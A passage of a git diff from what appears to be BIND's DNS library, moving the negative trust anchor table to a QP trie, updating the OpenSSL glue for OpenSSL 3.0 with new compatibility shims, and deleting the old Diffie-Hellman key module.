-			if (nta->timer != NULL) {
-				(void)isc_timer_reset(nta->timer,
-						      isc_timertype_inactive,
-						      NULL, NULL, true);
-			}
-		}
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
+	dns_qpiter_init(&qpr, &iter);
+	while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) {
+		dns__nta_t *n = pval;
+		dns__nta_shutdown(n);
+		dns__nta_detach(&n);
 	}
 
-	dns_rbtnodechain_invalidate(&chain);
+	dns_qpread_destroy(ntatable->table, &qpr);
+	dns_view_weakdetach(&ntatable->view);
 	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_write);
 }
+
+static void
+qp_attach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns__nta_t *nta = pval;
+	dns__nta_ref(nta);
+}
+
+static void
+qp_detach(void *uctx ISC_ATTR_UNUSED, void *pval,
+	  uint32_t ival ISC_ATTR_UNUSED) {
+	dns__nta_t *nta = pval;
+	dns__nta_detach(&nta);
+}
+
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx ISC_ATTR_UNUSED, void *pval,
+	   uint32_t ival ISC_ATTR_UNUSED) {
+	dns__nta_t *nta = pval;
+	return (dns_qpkey_fromname(key, nta->name));
+}
+
+static void
+qp_triename(void *uctx, char *buf, size_t size) {
+	dns_view_t *view = uctx;
+	snprintf(buf, size, "view %s forwarder table", view->name);
+}
diff --git a/lib/dns/openssl_link.c b/lib/dns/openssl_link.c
index 1060fcc4ff..424657b1b2 100644
--- a/lib/dns/openssl_link.c
+++ b/lib/dns/openssl_link.c
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -7,8 +9,10 @@
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
- *
- * Portions Copyright (C) Network Associates, Inc.
+ */
+
+/*
+ * Copyright (C) Network Associates, Inc.
  *
  * Permission to use, copy, modify, and/or distribute this software for any
  * purpose with or without fee is hereby granted, provided that the above
@@ -23,10 +27,11 @@
  * IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  */
 
+#include <isc/fips.h>
 #include <isc/mem.h>
 #include <isc/mutex.h>
 #include <isc/mutexblock.h>
-#include <isc/platform.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/thread.h>
 #include <isc/tls.h>
@@ -34,80 +39,92 @@
 
 #include <dns/log.h>
 
-#include <dst/result.h>
-
 #include "dst_internal.h"
 #include "dst_openssl.h"
 
-#if !defined(OPENSSL_NO_ENGINE)
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
 #include <openssl/engine.h>
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+#include <openssl/core_names.h>
+#include <openssl/store.h>
+#endif
+
+#include "openssl_shim.h"
+
+#define DST_RET(a)        \
+	{                 \
+		ret = a;  \
+		goto err; \
+	}
 
-#if !defined(OPENSSL_NO_ENGINE)
-static ENGINE *e = NULL;
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
+static ENGINE *global_engine = NULL;
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
 
 static void
 enable_fips_mode(void) {
-#ifdef HAVE_FIPS_MODE
-	if (FIPS_mode() != 0) {
+#if defined(ENABLE_FIPS_MODE)
+	if (isc_fips_mode()) {
 		/*
 		 * FIPS mode is already enabled.
 		 */
 		return;
 	}
 
-	if (FIPS_mode_set(1) == 0) {
+	if (isc_fips_set_mode(1) != ISC_R_SUCCESS) {
 		dst__openssl_toresult2("FIPS_mode_set", DST_R_OPENSSLFAILURE);
 		exit(1);
 	}
-#endif /* HAVE_FIPS_MODE */
+#endif
 }
 
 isc_result_t
 dst__openssl_init(const char *engine) {
-	isc_result_t result = ISC_R_SUCCESS;
-
 	enable_fips_mode();
 
-#if !defined(OPENSSL_NO_ENGINE)
 	if (engine != NULL && *engine == '\0') {
 		engine = NULL;
 	}
 
-	if (engine != NULL) {
-		e = ENGINE_by_id(engine);
-		if (e == NULL) {
-			result = DST_R_NOENGINE;
-			goto cleanup_rm;
-		}
-		/* This will init the engine. */
-		if (!ENGINE_set_default(e, ENGINE_METHOD_ALL)) {
-			result = DST_R_NOENGINE;
-			goto cleanup_rm;
-		}
+	if (engine == NULL) {
+		return (ISC_R_SUCCESS);
 	}
 
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
+	global_engine = ENGINE_by_id(engine);
+	if (global_engine == NULL) {
+		goto cleanup_rm;
+	}
+	if (!ENGINE_init(global_engine)) {
+		goto cleanup_rm;
+	}
+	/* This will init the engine. */
+	if (!ENGINE_set_default(global_engine, ENGINE_METHOD_ALL)) {
+		goto cleanup_init;
+	}
 	return (ISC_R_SUCCESS);
+cleanup_init:
+	ENGINE_finish(global_engine);
 cleanup_rm:
-	if (e != NULL) {
-		ENGINE_free(e);
+	if (global_engine != NULL) {
+		ENGINE_free(global_engine);
 	}
-	e = NULL;
-#else
-	UNUSED(engine);
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
-	return (result);
+	ERR_clear_error();
+	global_engine = NULL;
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
+	return (DST_R_NOENGINE);
 }
 
 void
 dst__openssl_destroy(void) {
-#if !defined(OPENSSL_NO_ENGINE)
-	if (e != NULL) {
-		ENGINE_free(e);
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
+	if (global_engine != NULL) {
+		ENGINE_finish(global_engine);
+		ENGINE_free(global_engine);
 	}
-	e = NULL;
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
+	global_engine = NULL;
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
 }
 
 static isc_result_t
@@ -130,7 +147,8 @@ toresult(isc_result_t fallback) {
 	default:
 #if defined(ECDSA_R_RANDOM_NUMBER_GENERATION_FAILED)
 		if (lib == ERR_R_ECDSA_LIB &&
-		    reason == ECDSA_R_RANDOM_NUMBER_GENERATION_FAILED) {
+		    reason == ECDSA_R_RANDOM_NUMBER_GENERATION_FAILED)
+		{
 			result = ISC_R_NOENTROPY;
 			break;
 		}
@@ -152,31 +170,33 @@ dst__openssl_toresult(isc_result_t fallback) {
 }
 
 isc_result_t
-dst__openssl_toresult2(const char *funcname, isc_result_t fallback) {
-	return (dst__openssl_toresult3(DNS_LOGCATEGORY_GENERAL, funcname,
-				       fallback));
+dst___openssl_toresult2(const char *funcname, isc_result_t fallback,
+			const char *file, int line) {
+	return (dst___openssl_toresult3(DNS_LOGCATEGORY_GENERAL, funcname,
+					fallback, file, line));
 }
 
 isc_result_t
-dst__openssl_toresult3(isc_logcategory_t *category, const char *funcname,
-		       isc_result_t fallback) {
+dst___openssl_toresult3(isc_logcategory_t *category, const char *funcname,
+			isc_result_t fallback, const char *file, int line) {
 	isc_result_t result;
 	unsigned long err;
-	const char *file, *data;
-	int line, flags;
+	const char *func, *data;
+	int flags;
 	char buf[256];
 
 	result = toresult(fallback);
 
 	isc_log_write(dns_lctx, category, DNS_LOGMODULE_CRYPTO, ISC_LOG_WARNING,
-		      "%s failed (%s)", funcname, isc_result_totext(result));
+		      "%s (%s:%d) failed (%s)", funcname, file, line,
+		      isc_result_totext(result));
 
 	if (result == ISC_R_NOMEMORY) {
 		goto done;
 	}
 
 	for (;;) {
-		err = ERR_get_error_line_data(&file, &line, &data, &flags);
+		err = ERR_get_error_all(&file, &line, &func, &data, &flags);
 		if (err == 0U) {
 			goto done;
 		}
@@ -191,20 +211,188 @@ dst__openssl_toresult3(isc_logcategory_t *category, const char *funcname,
 	return (result);
 }
 
-#if !defined(OPENSSL_NO_ENGINE)
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
 ENGINE *
 dst__openssl_getengine(const char *engine) {
 	if (engine == NULL) {
 		return (NULL);
 	}
-	if (e == NULL) {
+	if (global_engine == NULL) {
 		return (NULL);
 	}
-	if (strcmp(engine, ENGINE_get_id(e)) == 0) {
-		return (e);
+	if (strcmp(engine, ENGINE_get_id(global_engine)) == 0) {
+		return (global_engine);
 	}
 	return (NULL);
 }
-#endif /* if !defined(OPENSSL_NO_ENGINE) */
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
+
+static isc_result_t
+dst__openssl_fromlabel_engine(int key_base_id, const char *engine,
+			      const char *label, const char *pin,
+			      EVP_PKEY **ppub, EVP_PKEY **ppriv) {
+#if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000
+	isc_result_t ret = ISC_R_SUCCESS;
+	ENGINE *e = NULL;
+
+	UNUSED(pin);
+
+	e = dst__openssl_getengine(engine);
+	if (e == NULL) {
+		DST_RET(dst__openssl_toresult(DST_R_NOENGINE));
+	}
+
+	*ppub = ENGINE_load_public_key(e, label, NULL, NULL);
+	if (*ppub == NULL) {
+		DST_RET(dst__openssl_toresult2("ENGINE_load_public_key",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (EVP_PKEY_base_id(*ppub) != key_base_id) {
+		DST_RET(DST_R_BADKEYTYPE);
+	}
+
+	*ppriv = ENGINE_load_private_key(e, label, NULL, NULL);
+	if (*ppriv == NULL) {
+		DST_RET(dst__openssl_toresult2("ENGINE_load_private_key",
+					       DST_R_OPENSSLFAILURE));
+	}
+	if (EVP_PKEY_base_id(*ppriv) != key_base_id) {
+		DST_RET(DST_R_BADKEYTYPE);
+	}
+err:
+	return (ret);
+#else  /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
+	UNUSED(key_base_id);
+	UNUSED(engine);
+	UNUSED(label);
+	UNUSED(pin);
+	UNUSED(ppub);
+	UNUSED(ppriv);
+	return (DST_R_NOENGINE);
+#endif /* if !defined(OPENSSL_NO_ENGINE) && OPENSSL_API_LEVEL < 30000 */
+}
+
+static isc_result_t
+dst__openssl_fromlabel_provider(int key_base_id, const char *label,
+				const char *pin, EVP_PKEY **ppub,
+				EVP_PKEY **ppriv) {
+#if OPENSSL_VERSION_NUMBER >= 0x30000000L
+	isc_result_t ret = DST_R_OPENSSLFAILURE;
+	OSSL_STORE_CTX *ctx = NULL;
+
+	UNUSED(pin);
+
+	ctx = OSSL_STORE_open(label, NULL, NULL, NULL, NULL);
+	if (!ctx) {
+		DST_RET(dst__openssl_toresult(DST_R_OPENSSLFAILURE));
+	}
+
+	while (!OSSL_STORE_eof(ctx)) {
+		OSSL_STORE_INFO *info = OSSL_STORE_load(ctx);
+		if (info == NULL) {
+			continue;
+		}
+		switch (OSSL_STORE_INFO_get_type(info)) {
+		case OSSL_STORE_INFO_PKEY:
+			if (*ppriv != NULL) {
+				OSSL_STORE_INFO_free(info);
+				DST_RET(DST_R_INVALIDPRIVATEKEY);
+			}
+			*ppriv = OSSL_STORE_INFO_get1_PKEY(info);
+			if (EVP_PKEY_get_base_id(*ppriv) != key_base_id) {
+				OSSL_STORE_INFO_free(info);
+				DST_RET(DST_R_BADKEYTYPE);
+			}
+			break;
+		case OSSL_STORE_INFO_PUBKEY:
+			if (*ppub != NULL) {
+				OSSL_STORE_INFO_free(info);
+				DST_RET(DST_R_INVALIDPUBLICKEY);
+			}
+			*ppub = OSSL_STORE_INFO_get1_PUBKEY(info);
+			if (EVP_PKEY_get_base_id(*ppub) != key_base_id) {
+				OSSL_STORE_INFO_free(info);
+				DST_RET(DST_R_BADKEYTYPE);
+			}
+			break;
+		}
+		OSSL_STORE_INFO_free(info);
+	}
+	if (*ppriv != NULL && *ppub != NULL) {
+		ret = ISC_R_SUCCESS;
+	}
+err:
+	OSSL_STORE_close(ctx);
+	return (ret);
+#else
+	UNUSED(key_base_id);
+	UNUSED(label);
+	UNUSED(pin);
+	UNUSED(ppub);
+	UNUSED(ppriv);
+	return (DST_R_OPENSSLFAILURE);
+#endif
+}
+
+isc_result_t
+dst__openssl_fromlabel(int key_base_id, const char *engine, const char *label,
+		       const char *pin, EVP_PKEY **ppub, EVP_PKEY **ppriv) {
+	if (engine == NULL) {
+		return (dst__openssl_fromlabel_provider(key_base_id, label, pin,
+							ppub, ppriv));
+	}
+
+	if (*ppub != NULL) {
+		EVP_PKEY_free(*ppub);
+		*ppub = NULL;
+	}
+
+	if (*ppriv != NULL) {
+		EVP_PKEY_free(*ppriv);
+		*ppriv = NULL;
+	}
+
+	return (dst__openssl_fromlabel_engine(key_base_id, engine, label, pin,
+					      ppub, ppriv));
+}
+
+bool
+dst__openssl_keypair_compare(const dst_key_t *key1, const dst_key_t *key2) {
+	EVP_PKEY *pkey1 = key1->keydata.pkeypair.pub;
+	EVP_PKEY *pkey2 = key2->keydata.pkeypair.pub;
+
+	if (pkey1 == pkey2) {
+		return (true);
+	} else if (pkey1 == NULL || pkey2 == NULL) {
+		return (false);
+	}
+
+	/* `EVP_PKEY_eq` checks only the public components and parameters. */
+	if (EVP_PKEY_eq(pkey1, pkey2) != 1) {
+		return (false);
+	}
+	/* The private key presence must be same for keys to match. */
+	if ((key1->keydata.pkeypair.priv != NULL) !=
+	    (key2->keydata.pkeypair.priv != NULL))
+	{
+		return (false);
+	}
+	return (true);
+}
+
+bool
+dst__openssl_keypair_isprivate(const dst_key_t *key) {
+	return (key->keydata.pkeypair.priv != NULL);
+}
+
+void
+dst__openssl_keypair_destroy(dst_key_t *key) {
+	if (key->keydata.pkeypair.priv != key->keydata.pkeypair.pub) {
+		EVP_PKEY_free(key->keydata.pkeypair.priv);
+	}
+	EVP_PKEY_free(key->keydata.pkeypair.pub);
+	key->keydata.pkeypair.pub = NULL;
+	key->keydata.pkeypair.priv = NULL;
+}
 
 /*! \file */
diff --git a/lib/dns/openssl_shim.c b/lib/dns/openssl_shim.c
new file mode 100644
index 0000000000..128ffd3eb1
--- /dev/null
+++ b/lib/dns/openssl_shim.c
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include "openssl_shim.h"
+
+#include <isc/util.h>
+
+#if !HAVE_RSA_SET0_KEY && OPENSSL_VERSION_NUMBER < 0x30000000L
+/* From OpenSSL 1.1.0 */
+int
+RSA_set0_key(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d) {
+	/*
+	 * If the fields n and e in r are NULL, the corresponding input
+	 * parameters MUST be non-NULL for n and e.  d may be
+	 * left NULL (in case only the public key is used).
+	 */
+	if ((r->n == NULL && n == NULL) || (r->e == NULL && e == NULL)) {
+		return (0);
+	}
+
+	if (n != NULL) {
+		BN_free(r->n);
+		r->n = n;
+	}
+	if (e != NULL) {
+		BN_free(r->e);
+		r->e = e;
+	}
+	if (d != NULL) {
+		BN_clear_free(r->d);
+		r->d = d;
+	}
+
+	return (1);
+}
+
+int
+RSA_set0_factors(RSA *r, BIGNUM *p, BIGNUM *q) {
+	/*
+	 * If the fields p and q in r are NULL, the corresponding input
+	 * parameters MUST be non-NULL.
+	 */
+	if ((r->p == NULL && p == NULL) || (r->q == NULL && q == NULL)) {
+		return (0);
+	}
+
+	if (p != NULL) {
+		BN_clear_free(r->p);
+		r->p = p;
+	}
+	if (q != NULL) {
+		BN_clear_free(r->q);
+		r->q = q;
+	}
+
+	return (1);
+}
+
+int
+RSA_set0_crt_params(RSA *r, BIGNUM *dmp1, BIGNUM *dmq1, BIGNUM *iqmp) {
+	/*
+	 * If the fields dmp1, dmq1 and iqmp in r are NULL, the
+	 * corresponding input parameters MUST be non-NULL.
+	 */
+	if ((r->dmp1 == NULL && dmp1 == NULL) ||
+	    (r->dmq1 == NULL && dmq1 == NULL) ||
+	    (r->iqmp == NULL && iqmp == NULL))
+	{
+		return (0);
+	}
+
+	if (dmp1 != NULL) {
+		BN_clear_free(r->dmp1);
+		r->dmp1 = dmp1;
+	}
+	if (dmq1 != NULL) {
+		BN_clear_free(r->dmq1);
+		r->dmq1 = dmq1;
+	}
+	if (iqmp != NULL) {
+		BN_clear_free(r->iqmp);
+		r->iqmp = iqmp;
+	}
+
+	return (1);
+}
+
+void
+RSA_get0_key(const RSA *r, const BIGNUM **n, const BIGNUM **e,
+	     const BIGNUM **d) {
+	SET_IF_NOT_NULL(n, r->n);
+	SET_IF_NOT_NULL(e, r->e);
+	SET_IF_NOT_NULL(d, r->d);
+}
+
+void
+RSA_get0_factors(const RSA *r, const BIGNUM **p, const BIGNUM **q) {
+	SET_IF_NOT_NULL(p, r->p);
+	SET_IF_NOT_NULL(q, r->q);
+}
+
+void
+RSA_get0_crt_params(const RSA *r, const BIGNUM **dmp1, const BIGNUM **dmq1,
+		    const BIGNUM **iqmp) {
+	SET_IF_NOT_NULL(dmp1, r->dmp1);
+	SET_IF_NOT_NULL(dmq1, r->dmq1);
+	SET_IF_NOT_NULL(iqmp, r->iqmp);
+}
+
+int
+RSA_test_flags(const RSA *r, int flags) {
+	return (r->flags & flags);
+}
+#endif /* !HAVE_RSA_SET0_KEY && OPENSSL_VERSION_NUMBER < 0x30000000L */
+
+#if !HAVE_ECDSA_SIG_GET0
+/* From OpenSSL 1.1 */
+void
+ECDSA_SIG_get0(const ECDSA_SIG *sig, const BIGNUM **pr, const BIGNUM **ps) {
+	SET_IF_NOT_NULL(pr, sig->r);
+	SET_IF_NOT_NULL(ps, sig->s);
+}
+
+int
+ECDSA_SIG_set0(ECDSA_SIG *sig, BIGNUM *r, BIGNUM *s) {
+	if (r == NULL || s == NULL) {
+		return (0);
+	}
+
+	BN_clear_free(sig->r);
+	BN_clear_free(sig->s);
+	sig->r = r;
+	sig->s = s;
+
+	return (1);
+}
+#endif /* !HAVE_ECDSA_SIG_GET0 */
+
+#if !HAVE_ERR_GET_ERROR_ALL
+static const char err_empty_string = '\0';
+
+unsigned long
+ERR_get_error_all(const char **file, int *line, const char **func,
+		  const char **data, int *flags) {
+	SET_IF_NOT_NULL(func, &err_empty_string);
+	return (ERR_get_error_line_data(file, line, data, flags));
+}
+#endif /* if !HAVE_ERR_GET_ERROR_ALL */
diff --git a/lib/dns/openssl_shim.h b/lib/dns/openssl_shim.h
new file mode 100644
index 0000000000..a0b87626db
--- /dev/null
+++ b/lib/dns/openssl_shim.h
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <openssl/bn.h>
+#include <openssl/dh.h>
+#include <openssl/ecdsa.h>
+#include <openssl/err.h>
+#include <openssl/evp.h>
+#include <openssl/opensslv.h>
+#include <openssl/rsa.h>
+
+/*
+ * Limit the size of public exponents.
+ */
+#ifndef RSA_MAX_PUBEXP_BITS
+#define RSA_MAX_PUBEXP_BITS 35
+#endif /* ifndef RSA_MAX_PUBEXP_BITS */
+
+#if !HAVE_BN_GENCB_NEW
+/* These are new in OpenSSL 1.1.0. */
+static inline BN_GENCB *
+BN_GENCB_new(void) {
+	return (OPENSSL_malloc(sizeof(BN_GENCB)));
+}
+
+static inline void
+BN_GENCB_free(BN_GENCB *cb) {
+	if (cb == NULL) {
+		return;
+	}
+	OPENSSL_free(cb);
+}
+
+static inline void *
+BN_GENCB_get_arg(BN_GENCB *cb) {
+	return cb->arg;
+}
+#endif /* !HAVE_BN_GENCB_NEW */
+
+#if !HAVE_EVP_PKEY_GET0_RSA && OPENSSL_VERSION_NUMBER < 0x10100000L
+static inline const RSA *
+EVP_PKEY_get0_RSA(const EVP_PKEY *pkey) {
+	return (pkey->type == EVP_PKEY_RSA ? pkey->pkey.rsa : NULL);
+}
+#endif
+
+#if !HAVE_EVP_PKEY_GET0_EC_KEY && OPENSSL_VERSION_NUMBER < 0x10100000L
+static inline const EC_KEY *
+EVP_PKEY_get0_EC_KEY(const EVP_PKEY *pkey) {
+	return (pkey->type == EVP_PKEY_EC ? pkey->pkey.ec : NULL);
+}
+#endif
+
+#if !HAVE_RSA_SET0_KEY && OPENSSL_VERSION_NUMBER < 0x30000000L
+int
+RSA_set0_key(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
+int
+RSA_set0_factors(RSA *r, BIGNUM *p, BIGNUM *q);
+
+int
+RSA_set0_crt_params(RSA *r, BIGNUM *dmp1, BIGNUM *dmq1, BIGNUM *iqmp);
+
+void
+RSA_get0_key(const RSA *r, const BIGNUM **n, const BIGNUM **e,
+	     const BIGNUM **d);
+
+void
+RSA_get0_factors(const RSA *r, const BIGNUM **p, const BIGNUM **q);
+
+void
+RSA_get0_crt_params(const RSA *r, const BIGNUM **dmp1, const BIGNUM **dmq1,
+		    const BIGNUM **iqmp);
+
+int
+RSA_test_flags(const RSA *r, int flags);
+#endif /* !HAVE_RSA_SET0_KEY && OPENSSL_VERSION_NUMBER < 0x30000000L */
+
+#if !HAVE_ECDSA_SIG_GET0
+void
+ECDSA_SIG_get0(const ECDSA_SIG *sig, const BIGNUM **pr, const BIGNUM **ps);
+
+int
+ECDSA_SIG_set0(ECDSA_SIG *sig, BIGNUM *r, BIGNUM *s);
+#endif /* !HAVE_ECDSA_SIG_GET0 */
+
+#if !HAVE_ERR_GET_ERROR_ALL
+unsigned long
+ERR_get_error_all(const char **file, int *line, const char **func,
+		  const char **data, int *flags);
+#endif /* if !HAVE_ERR_GET_ERROR_ALL */
+
+#if !HAVE_EVP_PKEY_EQ
+#define EVP_PKEY_eq EVP_PKEY_cmp
+#endif
diff --git a/lib/dns/openssldh_link.c b/lib/dns/openssldh_link.c
deleted file mode 100644
index 72b8209366..0000000000
--- a/lib/dns/openssldh_link.c
+++ /dev/null
@@ -1,810 +0,0 @@
-/*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- *
- * Portions Copyright (C) Network Associates, Inc.
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NETWORK ASSOCIATES DISCLAIMS
- * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE
- * FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR
- * IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*! \file */
-
-#include <ctype.h>
-#include <inttypes.h>
-#include <stdbool.h>
-
-#include <openssl/opensslv.h>
-
-#include <isc/mem.h>
-#include <isc/safe.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <pk11/site.h>
-
-#include <dst/result.h>
-
-#include "dst_internal.h"
-#include "dst_openssl.h"
-#include "dst_parse.h"
-
-#define PRIME2 "02"
-
-#define PRIME768                                                               \
-	"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088"            \
-	"A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25"   \
-	"F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A63A3620FFFFFFFFFFFFFFF" \
-	"F"
-
-#define PRIME1024                                                            \
-	"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E08"           \
-	"8A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF2" \
-	"5F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406" \
-	"B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF"
-
-#define PRIME1536                                          \
-	"FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1" \
-	"29024E088A67CC74020BBEA63B139B22514A08798E3404DD" \
-	"EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245" \
-	"E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED" \
-	"EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D" \
-	"C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F" \
-	"83655D23DCA3AD961C62F356208552BB9ED529077096966D" \
-	"670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF"
-
-static BIGNUM *bn2 = NULL, *bn768 = NULL, *bn1024 = NULL, *bn1536 = NULL;
-
-#if !HAVE_DH_GET0_KEY
-/*
- * DH_get0_key, DH_set0_key, DH_get0_pqg and DH_set0_pqg
- * are from OpenSSL 1.1.0.
- */
-static void
-DH_get0_key(const DH *dh, const BIGNUM **pub_key, const BIGNUM **priv_key) {
-	if (pub_key != NULL) {
-		*pub_key = dh->pub_key;
-	}
-	if (priv_key != NULL) {
-		*priv_key = dh->priv_key;
-	}
-}
-
-static int
-DH_set0_key(DH *dh, BIGNUM *pub_key, BIGNUM *priv_key) {
-	if (pub_key != NULL) {
-		BN_free(dh->pub_key);
-		dh->pub_key = pub_key;
-	}
-
-	if (priv_key != NULL) {
-		BN_free(dh->priv_key);
-		dh->priv_key = priv_key;
-	}
-
-	return (1);
-}
-
-static void
-DH_get0_pqg(const DH *dh, const BIGNUM **p, const BIGNUM **q,
-	    const BIGNUM **g) {
-	if (p != NULL) {
-		*p = dh->p;
-	}
-	if (q != NULL) {
-		*q = dh->q;
-	}
-	if (g != NULL) {
-		*g = dh->g;
-	}
-}
-
-static int
-DH_set0_pqg(DH *dh, BIGNUM *p, BIGNUM *q, BIGNUM *g) {
-	/* If the fields p and g in d are NULL, the corresponding input
-	 * parameters MUST be non-NULL.  q may remain NULL.
-	 */
-	if ((dh->p == NULL && p == NULL) || (dh->g == NULL && g == NULL)) {
-		return (0);
-	}
-
-	if (p != NULL) {
-		BN_free(dh->p);
-		dh->p = p;
-	}
-	if (q != NULL) {
-		BN_free(dh->q);
-		dh->q = q;
-	}
-	if (g != NULL) {
-		BN_free(dh->g);
-		dh->g = g;
-	}
-
-	if (q != NULL) {
-		dh->length = BN_num_bits(q);
-	}
-
-	return (1);
-}
-
-#define DH_clear_flags(d, f) (d)->flags &= ~(f)
-
-#endif /* !HAVE_DH_GET0_KEY */
-
-static isc_result_t
-openssldh_computesecret(const dst_key_t *pub, const dst_key_t *priv,
-			isc_buffer_t *secret) {
-	DH *dhpub, *dhpriv;
-	const BIGNUM *pub_key = NULL;
-	int ret;
-	isc_region_t r;
-	unsigned int len;
-
-	REQUIRE(pub->keydata.dh != NULL);
-	REQUIRE(priv->keydata.dh != NULL);
-
-	dhpub = pub->keydata.dh;
-	dhpriv = priv->keydata.dh;
-
-	len = DH_size(dhpriv);
-	isc_buffer_availableregion(secret, &r);
-	if (r.length < len) {
-		return (ISC_R_NOSPACE);
-	}
-
-	DH_get0_key(dhpub, &pub_key, NULL);
-	ret = DH_compute_key(r.base, pub_key, dhpriv);
-	if (ret <= 0) {
-		return (dst__openssl_toresult2("DH_compute_key",
-					       DST_R_COMPUTESECRETFAILURE));
-	}
-	isc_buffer_add(secret, len);
-	return (ISC_R_SUCCESS);
-}
-
-static bool
-openssldh_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	DH *dh1, *dh2;
-	const BIGNUM *pub_key1 = NULL, *pub_key2 = NULL;
-	const BIGNUM *priv_key1 = NULL, *priv_key2 = NULL;
-	const BIGNUM *p1 = NULL, *g1 = NULL, *p2 = NULL, *g2 = NULL;
-
-	dh1 = key1->keydata.dh;
-	dh2 = key2->keydata.dh;
-
-	if (dh1 == NULL && dh2 == NULL) {
-		return (true);
-	} else if (dh1 == NULL || dh2 == NULL) {
-		return (false);
-	}
-
-	DH_get0_key(dh1, &pub_key1, &priv_key1);
-	DH_get0_key(dh2, &pub_key2, &priv_key2);
-	DH_get0_pqg(dh1, &p1, NULL, &g1);
-	DH_get0_pqg(dh2, &p2, NULL, &g2);
-
-	if (BN_cmp(p1, p2) != 0 || BN_cmp(g1, g2) != 0 ||
-	    BN_cmp(pub_key1, pub_key2) != 0)
-	{
-		return (false);
-	}
-
-	if (priv_key1 != NULL || priv_key2 != NULL) {
-		if (priv_key1 == NULL || priv_key2 == NULL) {
-			return (false);
-		}
